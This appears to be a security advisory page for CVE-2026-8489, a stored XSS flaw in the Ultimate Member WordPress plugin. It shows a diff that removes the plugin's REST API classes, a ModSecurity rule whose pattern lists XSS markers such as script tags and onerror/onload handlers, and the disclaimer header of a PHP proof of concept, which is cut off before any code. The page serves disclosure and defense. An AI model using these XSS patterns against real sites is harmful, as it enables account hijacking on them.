-			$user = get_transient( md5( 'um_api_user_' . $key ) );
-
-			if ( false === $user ) {
-				$user = $wpdb->get_var(
-					$wpdb->prepare(
-						"SELECT user_id
-						FROM $wpdb->usermeta
-						WHERE meta_key = 'um_user_public_key' AND
-							  meta_value = %s
-						LIMIT 1",
-						$key
-					)
-				);
-				set_transient( md5( 'um_api_user_' . $key ) , $user, DAY_IN_SECONDS );
-			}
-
-			if ( $user != null ) {
-				$this->user_id = $user;
-				return $user;
-			}
-
-			return false;
-		}
-
-		/**
-		 * Process Get users API Request.
-		 *
-		 * @param array $args
-		 *
-		 * @return array
-		 */
-		public function get_users( $args ) {
-			$response = array();
-
-			$number  = array_key_exists( 'number', $args ) && is_numeric( $args['number'] ) ? absint( $args['number'] ) : 10;
-			$orderby = array_key_exists( 'orderby', $args ) ? sanitize_key( $args['orderby'] ) : 'user_registered';
-			$order   = array_key_exists( 'order', $args ) ? sanitize_key( $args['order'] ) : 'desc';
-
-			$loop_a = array(
-				'number'  => $number,
-				'orderby' => $orderby,
-				'order'   => $order,
-			);
-
-			if ( array_key_exists( 'include', $args ) ) {
-				$include           = explode( ',', sanitize_text_field( $args['include'] ) );
-				$loop_a['include'] = $include;
-			}
-
-			if ( array_key_exists( 'exclude', $args ) ) {
-				$exclude           = explode( ',', sanitize_text_field( $args['exclude'] ) );
-				$loop_a['exclude'] = $exclude;
-			}
-
-			$loop = get_users( $loop_a );
-
-			foreach ( $loop as $user ) {
-				unset( $user->data->user_status, $user->data->user_activation_key, $user->data->user_pass );
-
-				um_fetch_user( $user->ID );
-
-				foreach ( $user as $key => $val ) {
-					if ( 'data' !== $key ) {
-						continue;
-					}
-
-					$val->roles                = $user->roles;
-					$val->first_name           = um_user( 'first_name' );
-					$val->last_name            = um_user( 'last_name' );
-					$val->account_status       = UM()->common()->users()->get_status( $user->ID );
-					$val->profile_pic_original = um_get_user_avatar_url( '', 'original' );
-					$val->profile_pic_normal   = um_get_user_avatar_url( '', 200 );
-					$val->profile_pic_small    = um_get_user_avatar_url( '', 40 );
-					$val->cover_photo          = $this->getsrc( um_user( 'cover_photo', 1000 ) );
-
-					/**
-					 * Filters the output data for Rest API userdata call.
-					 *
-					 * @param {mixed} $val      User data value.
-					 * @param {int}   $user_id  User ID.
-					 *
-					 * @return {mixed} User data value.
-					 *
-					 * @since 2.0
-					 * @hook um_rest_userdata
-					 *
-					 * @example <caption>Force change the output data for Rest API userdata call.</caption>
-					 * function my_custom_um_rest_userdata( $value, $user_id  ) {
-					 *     // your code here
-					 *     return $response;
-					 * }
-					 * add_filter( 'um_rest_userdata', 'my_custom_um_rest_userdata', 10, 2 );
-					 */
-					$response[ $user->ID ] = apply_filters( 'um_rest_userdata', $val, $user->ID );
-				}
-			}
-
-			return $response;
-		}
-
-		/**
-		 * Update user API query
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function update_user( $args ) {
-			$response = array();
-			$error    = array();
-
-			if ( empty( $args['id'] ) ) {
-				$error['error'] = __( 'You must provide a user ID', 'ultimate-member' );
-				return $error;
-			}
-
-			if ( empty( $args['data'] ) ) {
-				$error['error'] = __( 'You need to provide data to update', 'ultimate-member' );
-				return $error;
-			}
-
-			if ( ! array_key_exists( 'value', $args ) ) {
-				$error['error'] = __( 'You need to provide value to update', 'ultimate-member' );
-				return $error;
-			}
-
-			$id    = absint( $args['id'] );
-			$data  = sanitize_text_field( $args['data'] );
-			$value = sanitize_text_field( $args['value'] );
-
-			um_fetch_user( $id );
-
-			switch ( $data ) {
-				case 'status':
-					// Force update of the user status without email notifications.
-					UM()->common()->users()->set_status( $id, $value );
-					$response['success'] = __( 'User status has been changed.', 'ultimate-member' );
-					break;
-				case 'role':
-					$wp_user_object = new WP_User( $id );
-					$old_roles      = $wp_user_object->roles;
-					$wp_user_object->set_role( $value );
-
-					/** This action is documented in includes/core/class-user.php */
-					do_action( 'um_after_member_role_upgrade', array( $value ), $old_roles, $id );
-
-					$response['success'] = __( 'User role has been changed.', 'ultimate-member' );
-					break;
-				default:
-					update_user_meta( $id, $data, $value );
-					$response['success'] = __( 'User meta has been changed.', 'ultimate-member' );
-					break;
-			}
-
-			return $response;
-		}
-
-		/**
-		 * Process delete user via API
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function delete_user( $args ) {
-			$response = array();
-			$error    = array();
-
-			if ( empty( $args['id'] ) ) {
-				$error['error'] = __( 'You must provide a user ID', 'ultimate-member' );
-				return $error;
-			}
-
-			$id = absint( $args['id'] );
-
-			$user = get_userdata( $id );
-			if ( ! $user ) {
-				$error['error'] = __( 'Invalid user specified', 'ultimate-member' );
-				return $error;
-			}
-
-			um_fetch_user( $id );
-			UM()->user()->delete();
-
-			$response['success'] = __( 'User has been successfully deleted.', 'ultimate-member' );
-
-			return $response;
-		}
-
-		/**
-		 * Process Get user API Request
-		 *
-		 * @param $args
-		 *
-		 * @return array|mixed
-		 */
-		public function get_auser( $args ) {
-			$response = array();
-			$error    = array();
-
-			if ( empty( $args['id'] ) ) {
-				$error['error'] = __( 'You must provide a user ID', 'ultimate-member' );
-				return $error;
-			}
-
-			$id   = absint( $args['id'] );
-			$user = get_userdata( $id );
-			if ( ! $user ) {
-				$error['error'] = __( 'Invalid user specified', 'ultimate-member' );
-				return $error;
-			}
-
-			unset( $user->data->user_status, $user->data->user_activation_key, $user->data->user_pass );
-
-			um_fetch_user( $user->ID );
-
-			if ( array_key_exists( 'fields', $args ) ) {
-				$fields               = explode( ',', sanitize_text_field( $args['fields'] ) );
-				$response['ID']       = $user->ID;
-				$response['username'] = $user->user_login;
-				foreach ( $fields as $field ) {
-
-					switch ( $field ) {
-						default:
-							$profile_data       = um_profile( $field );
-							$response[ $field ] = $profile_data ? $profile_data : '';
-
-							/**
-							 * Filters the output data for Rest API user authentication call.
-							 *
-							 * @param {array}  $response REST API response.
-							 * @param {string} $field    Field Options.
-							 * @param {int}    $user_id  User ID.
-							 *
-							 * @return {array} REST API response.
-							 *
-							 * @since 2.0
-							 * @hook um_rest_get_auser
-							 *
-							 * @example <caption>Force change the output data for Rest API user authentication call.</caption>
-							 * function my_custom_um_rest_get_auser( $response, $field, $user_id  ) {
-							 *     // your code here
-							 *     return $response;
-							 * }
-							 * add_filter( 'um_rest_get_auser', 'my_custom_um_rest_get_auser', 10, 3 );
-							 */
-							$response = apply_filters( 'um_rest_get_auser', $response, $field, $user->ID );
-							break;
-						case 'cover_photo':
-							$response['cover_photo'] = $this->getsrc( um_user( 'cover_photo', 1000 ) );
-							break;
-						case 'profile_pic':
-							$response['profile_pic_original'] = um_get_user_avatar_url( '', 'original' );
-							$response['profile_pic_normal']   = um_get_user_avatar_url( '', 200 );
-							$response['profile_pic_small']    = um_get_user_avatar_url( '', 40 );
-							break;
-						case 'status':
-							$response['status'] = UM()->common()->users()->get_status( $user->ID );
-							break;
-						case 'role':
-							//get priority role here
-							$response['role'] = um_user( 'role' );
-							break;
-						case 'email':
-						case 'user_email':
-							$response['email'] = um_user( 'user_email' );
-							break;
-					}
-				}
-			} else {
-				foreach ( $user as $key => $val ) {
-					if ( 'data' !== $key ) {
-						continue;
-					}
-
-					$val->roles                = $user->roles;
-					$val->first_name           = um_user( 'first_name' );
-					$val->last_name            = um_user( 'last_name' );
-					$val->account_status       = UM()->common()->users()->get_status( $user->ID );
-					$val->profile_pic_original = um_get_user_avatar_url( '', 'original' );
-					$val->profile_pic_normal   = um_get_user_avatar_url( '', 200 );
-					$val->profile_pic_small    = um_get_user_avatar_url( '', 40 );
-					$val->cover_photo          = $this->getsrc( um_user( 'cover_photo', 1000 ) );
-
-					/** This filter is documented in includes/core/rest/class-api-v1.php */
-					$response = apply_filters( 'um_rest_userdata', $val, $user->ID );
-				}
-			}
-
-			return $response;
-		}
-
-		/**
-		 * Get source
-		 *
-		 * @param $image
-		 *
-		 * @return string
-		 */
-		public function getsrc( $image ) {
-			if ( preg_match( '/<img.+?src(?: )*=(?: )*['"](.*?)['"]/si', $image, $arr_result ) ) {
-				return $arr_result[1];
-			}
-			return '';
-		}
-
-		/**
-		 * Retrieve the output format
-		 */
-		public function get_output_format() {
-			global $wp_query;
-
-			$format = isset( $wp_query->query_vars['format'] ) ? $wp_query->query_vars['format'] : 'json';
-
-			/**
-			 * Filters the REST API output format. JSON by default.
-			 *
-			 * @param {string} $format REST API output format.
-			 *
-			 * @return {string} REST API output format.
-			 *
-			 * @since 1.3.x
-			 * @hook um_api_output_format
-			 *
-			 * @example <caption>Changing the REST API output format.</caption>
-			 * function my_custom_um_api_output_format( $format ) {
-			 *     // your code here
-			 *     $format = 'xml';
-			 *     return $format;
-			 * }
-			 * add_filter( 'um_api_output_format', 'my_custom_um_api_output_format' );
-			 */
-			return apply_filters( 'um_api_output_format', $format );
-		}
-	}
-}
--- a/ultimate-member/includes/core/rest/class-api-v2.php
+++ b/ultimate-member/includes/core/rest/class-api-v2.php
@@ -1,392 +0,0 @@
-<?php
-namespace umcorerest;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-if ( ! class_exists( 'umcorerestAPI_v2' ) ) {
-
-	/**
-	 * Class API_v2
-	 * @package umcorerest
-	 */
-	class API_v2 extends API {
-
-		/**
-		 *
-		 */
-		const VERSION = '2.0';
-
-		/**
-		 * REST_API constructor.
-		 */
-		public function __construct() {
-			parent::__construct();
-
-			add_filter( 'query_vars', array( $this, 'query_vars' ) );
-		}
-
-		/**
-		 * Registers query vars for API access
-		 *
-		 * @param $vars
-		 *
-		 * @return array
-		 */
-		public function query_vars( $vars ) {
-			$vars[] = 'um_key';
-			$vars[] = 'um_token';
-			$vars[] = 'um_format';
-			$vars[] = 'um_query';
-			$vars[] = 'um_type';
-			$vars[] = 'um_data';
-			$vars[] = 'um_fields';
-			$vars[] = 'um_value';
-			$vars[] = 'um_number';
-			$vars[] = 'um_id';
-			$vars[] = 'um_email';
-			$vars[] = 'um_orderby';
-			$vars[] = 'um_order';
-			$vars[] = 'um_include';
-			$vars[] = 'um_exclude';
-
-			$this->vars = $vars;
-
-			return $vars;
-		}
-
-		/**
-		 * Validate the API request
-		 */
-		protected function validate_request() {
-			global $wp_query;
-
-			$this->override = false;
-
-			// Make sure we have both user and api key
-			if ( ! empty( $wp_query->query_vars['um-api'] ) ) {
-
-				if ( empty( $wp_query->query_vars['um_token'] ) || empty( $wp_query->query_vars['um_key'] ) ) {
-					$this->missing_auth();
-				}
-
-				// Retrieve the user by public API key and ensure they exist
-				if ( ! ( $user = $this->get_user( $wp_query->query_vars['um_key'] ) ) ) {
-					$this->invalid_key();
-				} else {
-					$token  = urldecode( $wp_query->query_vars['um_token'] );
-					$secret = get_user_meta( $user, 'um_user_secret_key', true );
-					$public = urldecode( $wp_query->query_vars['um_key'] );
-
-					if ( hash_equals( md5( $secret . $public ), $token ) ) {
-						$this->is_valid_request = true;
-					} else {
-						$this->invalid_auth();
-					}
-				}
-			}
-		}
-
-		/**
-		 * Retrieve the user ID based on the public key provided
-		 *
-		 * @param string $key
-		 *
-		 * @return bool|mixed|null|string
-		 */
-		public function get_user( $key = '' ) {
-			global $wpdb, $wp_query;
-
-			if ( empty( $key ) ) {
-				$key = urldecode( $wp_query->query_vars['um_key'] );
-			}
-
-			if ( empty( $key ) ) {
-				return false;
-			}
-
-			$user = get_transient( md5( 'um_api_user_' . $key ) );
-
-			if ( false === $user ) {
-				$user = $wpdb->get_var(
-					$wpdb->prepare(
-						"SELECT user_id
-						FROM $wpdb->usermeta
-						WHERE meta_key = 'um_user_public_key' AND
-							  meta_value = %s
-						LIMIT 1",
-						$key
-					)
-				);
-				set_transient( md5( 'um_api_user_' . $key ) , $user, DAY_IN_SECONDS );
-			}
-
-			if ( $user != NULL ) {
-				$this->user_id = $user;
-				return $user;
-			}
-
-			return false;
-		}
-
-		/**
-		 * Process Get users API Request
-		 *
-		 * @param array $args
-		 *
-		 * @return array
-		 */
-		public function get_users( $args ) {
-			$response = array();
-
-			$number  = array_key_exists( 'um_number', $args ) && is_numeric( $args['um_number'] ) ? absint( $args['um_number'] ) : 10;
-			$orderby = array_key_exists( 'um_orderby', $args ) ? sanitize_key( $args['um_orderby'] ) : 'user_registered';
-			$order   = array_key_exists( 'um_order', $args ) ? sanitize_key( $args['um_order'] ) : 'desc';
-
-			$loop_a = array(
-				'number'  => $number,
-				'orderby' => $orderby,
-				'order'   => $order,
-			);
-
-			if ( array_key_exists( 'um_include', $args ) ) {
-				$include           = explode( ',', sanitize_text_field( $args['um_include'] ) );
-				$loop_a['include'] = $include;
-			}
-
-			if ( array_key_exists( 'um_exclude', $args ) ) {
-				$exclude           = explode( ',', sanitize_text_field( $args['um_exclude'] ) );
-				$loop_a['exclude'] = $exclude;
-			}
-
-			$loop = get_users( $loop_a );
-
-			foreach ( $loop as $user ) {
-				unset( $user->data->user_status, $user->data->user_activation_key, $user->data->user_pass );
-
-				um_fetch_user( $user->ID );
-
-				foreach ( $user as $key => $val ) {
-					if ( 'data' !== $key ) {
-						continue;
-					}
-
-					$val->roles                = $user->roles;
-					$val->first_name           = um_user( 'first_name' );
-					$val->last_name            = um_user( 'last_name' );
-					$val->account_status       = UM()->common()->users()->get_status( $user->ID );
-					$val->profile_pic_original = um_get_user_avatar_url( '', 'original' );
-					$val->profile_pic_normal   = um_get_user_avatar_url( '', 200 );
-					$val->profile_pic_small    = um_get_user_avatar_url( '', 40 );
-					$val->cover_photo          = $this->getsrc( um_user( 'cover_photo', 1000 ) );
-
-					/** This filter is documented in includes/core/rest/class-api-v1.php */
-					$response[ $user->ID ] = apply_filters( 'um_rest_userdata', $val, $user->ID );
-				}
-			}
-
-			return $response;
-		}
-
-		/**
-		 * Update user API query
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function update_user( $args ) {
-			$response = array();
-			$error    = array();
-
-			if ( empty( $args['um_id'] ) ) {
-				$error['error'] = __( 'You must provide a user ID', 'ultimate-member' );
-				return $error;
-			}
-
-			if ( empty( $args['um_data'] ) ) {
-				$error['error'] = __( 'You need to provide data to update', 'ultimate-member' );
-				return $error;
-			}
-
-			if ( ! array_key_exists( 'um_value', $args ) ) {
-				$error['error'] = __( 'You need to provide value to update', 'ultimate-member' );
-				return $error;
-			}
-
-			$id    = absint( $args['um_id'] );
-			$data  = sanitize_text_field( $args['um_data'] );
-			$value = sanitize_text_field( $args['um_value'] );
-
-			um_fetch_user( $id );
-
-			switch ( $data ) {
-				case 'status':
-					// Force update of the user status without email notifications.
-					UM()->common()->users()->set_status( $id, $value );
-					$response['success'] = __( 'User status has been changed.', 'ultimate-member' );
-					break;
-				case 'role':
-					$wp_user_object = new WP_User( $id );
-					$old_roles      = $wp_user_object->roles;
-					$wp_user_object->set_role( $value );
-
-					/** This action is documented in includes/core/class-user.php */
-					do_action( 'um_after_member_role_upgrade', array( $value ), $old_roles, $id );
-
-					$response['success'] = __( 'User role has been changed.', 'ultimate-member' );
-					break;
-				default:
-					update_user_meta( $id, $data, $value );
-					$response['success'] = __( 'User meta has been changed.', 'ultimate-member' );
-					break;
-			}
-
-			return $response;
-		}
-
-		/**
-		 * Process delete user via API.
-		 *
-		 * @param array $args
-		 *
-		 * @return array
-		 */
-		public function delete_user( $args ) {
-			$response = array();
-			$error    = array();
-
-			if ( empty( $args['um_id'] ) ) {
-				$error['error'] = __( 'You must provide a user ID', 'ultimate-member' );
-				return $error;
-			}
-
-			$id = absint( $args['um_id'] );
-
-			$user = get_userdata( $id );
-			if ( ! $user ) {
-				$error['error'] = __( 'Invalid user specified', 'ultimate-member' );
-				return $error;
-			}
-
-			um_fetch_user( $id );
-			UM()->user()->delete();
-
-			$response['success'] = __( 'User has been successfully deleted.', 'ultimate-member' );
-
-			return $response;
-		}
-
-		/**
-		 * Process Get user API Request
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function get_auser( $args ) {
-			$response = array();
-			$error    = array();
-
-			if ( empty( $args['um_id'] ) ) {
-				$error['error'] = __( 'You must provide a user ID', 'ultimate-member' );
-				return $error;
-			}
-
-			$id   = absint( $args['um_id'] );
-			$user = get_userdata( $id );
-			if ( ! $user ) {
-				$error['error'] = __( 'Invalid user specified', 'ultimate-member' );
-				return $error;
-			}
-
-			unset( $user->data->user_status, $user->data->user_activation_key, $user->data->user_pass );
-
-			um_fetch_user( $user->ID );
-
-			if ( array_key_exists( 'um_fields', $args ) ) {
-				$fields               = explode( ',', sanitize_text_field( $args['um_fields'] ) );
-				$response['ID']       = $user->ID;
-				$response['username'] = $user->user_login;
-				foreach ( $fields as $field ) {
-
-					switch ( $field ) {
-						default:
-							$profile_data       = um_profile( $field );
-							$response[ $field ] = $profile_data ? $profile_data : '';
-
-							/** This filter is documented in includes/core/rest/class-api-v1.php */
-							$response = apply_filters( 'um_rest_get_auser', $response, $field, $user->ID );
-							break;
-						case 'cover_photo':
-							$response['cover_photo'] = $this->getsrc( um_user( 'cover_photo', 1000 ) );
-							break;
-						case 'profile_pic':
-							$response['profile_pic_original'] = um_get_user_avatar_url( '', 'original' );
-							$response['profile_pic_normal']   = um_get_user_avatar_url( '', 200 );
-							$response['profile_pic_small']    = um_get_user_avatar_url( '', 40 );
-							break;
-						case 'status':
-							$response['status'] = UM()->common()->users()->get_status( $user->ID );
-							break;
-						case 'role':
-							//get priority role here
-							$response['role'] = um_user( 'role' );
-							break;
-						case 'email':
-						case 'user_email':
-							$response['email'] = um_user( 'user_email' );
-							break;
-					}
-				}
-			} else {
-				foreach ( $user as $key => $val ) {
-					if ( 'data' !== $key ) {
-						continue;
-					}
-
-					$val->roles                = $user->roles;
-					$val->first_name           = um_user( 'first_name' );
-					$val->last_name            = um_user( 'last_name' );
-					$val->account_status       = UM()->common()->users()->get_status( $user->ID );
-					$val->profile_pic_original = um_get_user_avatar_url( '', 'original' );
-					$val->profile_pic_normal   = um_get_user_avatar_url( '', 200 );
-					$val->profile_pic_small    = um_get_user_avatar_url( '', 40 );
-					$val->cover_photo          = $this->getsrc( um_user( 'cover_photo', 1000 ) );
-
-					/** This filter is documented in includes/core/rest/class-api-v1.php */
-					$response = apply_filters( 'um_rest_userdata', $val, $user->ID );
-				}
-			}
-
-			return $response;
-		}
-
-		/**
-		 * Get source
-		 *
-		 * @param $image
-		 *
-		 * @return string
-		 */
-		public function getsrc( $image ) {
-			if ( preg_match( '/<img.+?src(?: )*=(?: )*['"](.*?)['"]/si', $image, $arr_result ) ) {
-				return $arr_result[1];
-			}
-			return '';
-		}
-
-		/**
-		 * Retrieve the output format
-		 */
-		public function get_output_format() {
-			global $wp_query;
-
-			$format = isset( $wp_query->query_vars['um_format'] ) ? $wp_query->query_vars['um_format'] : 'json';
-
-			/** This filter is documented in includes/core/rest/class-api-v1.php */
-			return apply_filters( 'um_api_output_format', $format );
-		}
-	}
-}
--- a/ultimate-member/includes/core/rest/class-api.php
+++ b/ultimate-member/includes/core/rest/class-api.php
@@ -1,615 +0,0 @@
-<?php
-namespace umcorerest;
-
-
-if ( ! defined( 'ABSPATH' ) ) exit;
-
-
-if ( ! class_exists( 'umcorerestAPI' ) ) {
-
-
-	/**
-	 * Class API
-	 *
-	 * @package umcorerest
-	 */
-	class API {
-
-
-		/**
-		 * @var bool|int|null
-		 */
-		protected $pretty_print = false;
-
-
-		/**
-		 * @var bool|mixed|void
-		 */
-		public 	$log_requests = true;
-
-
-		/**
-		 * @var bool
-		 */
-		protected $is_valid_request = false;
-
-
-		/**
-		 * @var int
-		 */
-		protected $user_id = 0;
-
-
-		/**
-		 * @var
-		 */
-		protected $stats;
-
-
-		/**
-		 * @var array
-		 */
-		protected $data = array();
-
-
-		/**
-		 * @var bool
-		 */
-		protected $override = true;
-
-
-		/**
-		 * @var array
-		 */
-		protected $vars = array();
-
-
-		/**
-		 * REST_API constructor.
-		 */
-		public function __construct() {
-
-			add_action( 'init', array( $this, 'add_endpoint' ) );
-			add_action( 'template_redirect', array( $this, 'process_query' ), -1 );
-
-			// Determine if JSON_PRETTY_PRINT is available
-			$this->pretty_print = defined( 'JSON_PRETTY_PRINT' ) ? JSON_PRETTY_PRINT : null;
-
-			/**
-			 * UM hook
-			 *
-			 * @type filter
-			 * @title um_api_log_requests
-			 * @description Allow API request logging to be turned off
-			 * @input_vars
-			 * [{"var":"$allow_log","type":"bool","desc":"Enable api logs"}]
-			 * @change_log
-			 * ["Since: 2.0"]
-			 * @usage
-			 * <?php add_filter( 'um_api_log_requests', 'function_name', 10, 1 ); ?>
-			 * @example
-			 * <?php
-			 * add_filter( 'um_api_log_requests', 'my_api_log_requests', 10, 1 );
-			 * function my_api_log_requests( $allow_log ) {
-			 *     // your code here
-			 *     return $allow_log;
-			 * }
-			 * ?>
-			 */
-			$this->log_requests = apply_filters( 'um_api_log_requests', $this->log_requests );
-		}
-
-
-		/**
-		 * Registers a new rewrite endpoint for accessing the API
-		 *
-		 * @param $rewrite_rules
-		 */
-		public function add_endpoint( $rewrite_rules ) {
-			add_rewrite_endpoint( 'um-api', EP_ALL );
-		}
-
-
-		/**
-		 * Listens for the API and then processes the API requests
-		 */
-		public function process_query() {
-			global $wp_query;
-
-			// Check for um-api var. Get out if not present
-			if ( ! isset( $wp_query->query_vars['um-api'] ) ) {
-				return;
-			}
-
-			// Check for a valid user and set errors if necessary
-			$this->validate_request();
-
-			// Only proceed if no errors have been noted
-			if ( ! $this->is_valid_request ) {
-				return;
-			}
-
-			if ( ! defined( 'UM_DOING_API' ) ) {
-				define( 'UM_DOING_API', true );
-			}
-
-			// Determine the kind of query
-			$args = array();
-			$query_mode = $this->get_query_mode();
-			foreach ( $this->vars as $k ) {
-				$args[ $k ] = isset( $wp_query->query_vars[ $k ] ) ? $wp_query->query_vars[ $k ] : null;
-			}
-
-			$data = array();
-
-			switch ( $query_mode ) {
-				case 'get.stats':
-					$data = $this->get_stats( $args );
-					break;
-
-				case 'get.users':
-					$data = $this->get_users( $args );
-					break;
-
-				case 'get.user':
-					$data = $this->get_auser( $args );
-					break;
-
-				case 'update.user':
-					$data = $this->update_user( $args );
-					break;
-
-				case 'delete.user':
-					$data = $this->delete_user( $args );
-					break;
-
-				default:
-					/**
-					 * UM hook
-					 *
-					 * @type filter
-					 * @title um_rest_query_mode
-					 * @description Change query attributes
-					 * @input_vars
-					 * [{"var":"$data","type":"array","desc":"Query Data"},
-					 * {"var":"$query_mode","type":"string","desc":"Query Mode"},
-					 * {"var":"$args","type":"array","desc":"Query Arguments"}]
-					 * @change_log
-					 * ["Since: 2.0"]
-					 * @usage
-					 * <?php add_filter( 'um_rest_query_mode', 'function_name', 10, 3 ); ?>
-					 * @example
-					 * <?php
-					 * add_filter( 'um_rest_query_mode', 'my_rest_query_mode', 10, 3 );
-					 * function um_rest_query_mode( $data, $query_mode, $args ) {
-					 *     // your code here
-					 *     return $data;
-					 * }
-					 * ?>
-					 */
-					$data = apply_filters( 'um_rest_query_mode', $data, $query_mode, $args );
-					break;
-			}
-
-			/**
-			 * UM hook
-			 *
-			 * @type filter
-			 * @title um_api_output_data
-			 * @description Change output data for Rest API call
-			 * @input_vars
-			 * [{"var":"$data","type":"array","desc":"Output Data"},
-			 * {"var":"$query_mode","type":"string","desc":"Query Mode"},
-			 * {"var":"$api_class","type":"REST_API","desc":"REST_API instance"}]
-			 * @change_log
-			 * ["Since: 2.0"]
-			 * @usage
-			 * <?php add_filter( 'um_api_output_data', 'function_name', 10, 3 ); ?>
-			 * @example
-			 * <?php
-			 * add_filter( 'um_api_output_data', 'my_api_output_data', 10, 3 );
-			 * function my_api_output_data( $data, $query_mode, $api_class ) {
-			 *     // your code here
-			 *     return $data;
-			 * }
-			 * ?>
-			 */
-			$this->data = apply_filters( 'um_api_output_data', $data, $query_mode, $this );
-
-			// Log this API request, if enabled. We log it here because we have access to errors.
-			$this->log_request( $this->data );
-
-			// Send out data to the output function
-			$this->output();
-		}
-
-
-		/**
-		 * Validate the API request
-		 */
-		protected function validate_request() {
-
-		}
-
-
-		/**
-		 * Retrieve the user ID based on the public key provided
-		 *
-		 * @param string $key
-		 *
-		 * @return bool
-		 */
-		public function get_user( $key = '' ) {
-			return false;
-		}
-
-
-		/**
-		 * Displays a missing authentication error if all the parameters aren't
-		 * provided
-		 */
-		protected function missing_auth() {
-			$error = array();
-			$error['error'] = __( 'You must specify both a token and API key!', 'ultimate-member' );
-
-			$this->data = $error;
-			$this->output( 401 );
-		}
-
-
-		/**
-		 * Displays an authentication failed error if the user failed to provide valid credentials
-		 */
-		protected function invalid_auth() {
-			$error = array();
-			$error['error'] = __( 'Your request could not be authenticated', 'ultimate-member' );
-
-			$this->data = $error;
-			$this->output( 401 );
-		}
-
-
-		/**
-		 * Displays an invalid API key error if the API key provided couldn't be validated
-		 */
-		protected function invalid_key() {
-			$error = array();
-			$error['error'] = __( 'Invalid API key', 'ultimate-member' );
-
-			$this->data = $error;
-			$this->output( 401 );
-		}
-
-
-		/**
-		 * Get some stats
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function get_stats( $args ) {
-			global $wpdb;
-
-			$response = array();
-
-			$count = absint( $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->prefix}users" ) );
-			$response['stats']['total_users'] = $count;
-
-			$pending = UM()->query()->get_pending_users_count();
-			$response['stats']['pending_users'] = absint( $pending );
-
-			/**
-			 * UM hook
-			 *
-			 * @type filter
-			 * @title um_rest_api_get_stats
-			 * @description Change output data for Rest API get stats call
-			 * @input_vars
-			 * [{"var":"$response","type":"array","desc":"Output Data"}]
-			 * @change_log
-			 * ["Since: 2.0"]
-			 * @usage
-			 * <?php add_filter( 'um_rest_api_get_stats', 'function_name', 10, 1 ); ?>
-			 * @example
-			 * <?php
-			 * add_filter( 'um_rest_api_get_stats', 'my_rest_api_get_stats', 10, 1 );
-			 * function my_rest_api_get_stats( $response ) {
-			 *     // your code here
-			 *     return $response;
-			 * }
-			 * ?>
-			 */
-			$response = apply_filters( 'um_rest_api_get_stats', $response );
-			return $response;
-		}
-
-
-		/**
-		 * Process Get users API Request
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function get_users( $args ) {
-			return array();
-		}
-
-
-		/**
-		 * Update user API query
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function update_user( $args ) {
-			return array();
-		}
-
-
-		/**
-		 * Process delete user via API
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function delete_user( $args ) {
-			return array();
-		}
-
-
-		/**
-		 * Process Get user API Request
-		 *
-		 * @param $args
-		 *
-		 * @return array
-		 */
-		public function get_auser( $args ) {
-			return array();
-		}
-
-
-		/**
-		 * Get source
-		 *
-		 * @param $image
-		 *
-		 * @return string
-		 */
-		protected function getsrc( $image ) {
-			if ( preg_match( '/<img.+?src(?: )*=(?: )*['"](.*?)['"]/si', $image, $arrResult ) ) {
-				return $arrResult[1];
-			}
-			return '';
-		}
-
-
-		/**
-		 * Determines the kind of query requested and also ensure it is a valid query
-		 *
-		 * @return null
-		 */
-		public function get_query_mode() {
-			global $wp_query;
-
-			/**
-			 * UM hook
-			 *
-			 * @type filter
-			 * @title um_api_valid_query_modes
-			 * @description Whitelist UM query options
-			 * @input_vars
-			 * [{"var":"$list","type":"array","desc":"Whitelist"}]
-			 * @change_log
-			 * ["Since: 2.0"]
-			 * @usage
-			 * <?php add_filter( 'um_api_valid_query_modes', 'function_name', 10, 1 ); ?>
-			 * @example
-			 * <?php
-			 * add_filter( 'um_api_valid_query_modes', 'my_api_valid_query_modes', 10, 1 );
-			 * function my_api_valid_query_modes( $list ) {
-			 *     // your code here
-			 *     return $list;
-			 * }
-			 * ?>
-			 */
-			$accepted = apply_filters( 'um_api_valid_query_modes', array(
-				'get.users',
-				'get.user',
-				'update.user',
-				'delete.user',
-				'get.following',
-				'get.followers',
-				'get.stats',
-			) );
-
-			$query = isset( $wp_query->query_vars['um-api'] ) ? $wp_query->query_vars['um-api'] : null;
-			$error = array();
-			// Make sure our query is valid
-			if ( 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8489
# Blocks XSS payloads in custom textarea profile fields (non-HTML) via AJAX profile update
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-8489 XSS via Ultimate Member non-HTML textarea',severity:'CRITICAL',tag:'CVE-2026-8489'"
    SecRule ARGS_POST:action "@streq um_profile_update" "chain"
        SecRule ARGS_POST:/^.*$/ "@rx <script[^>]*>.*</script>|<[^>]+onerrors*=|onloads*=|onclicks*=|onmouseovers*=" 
            "t:lowercase,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
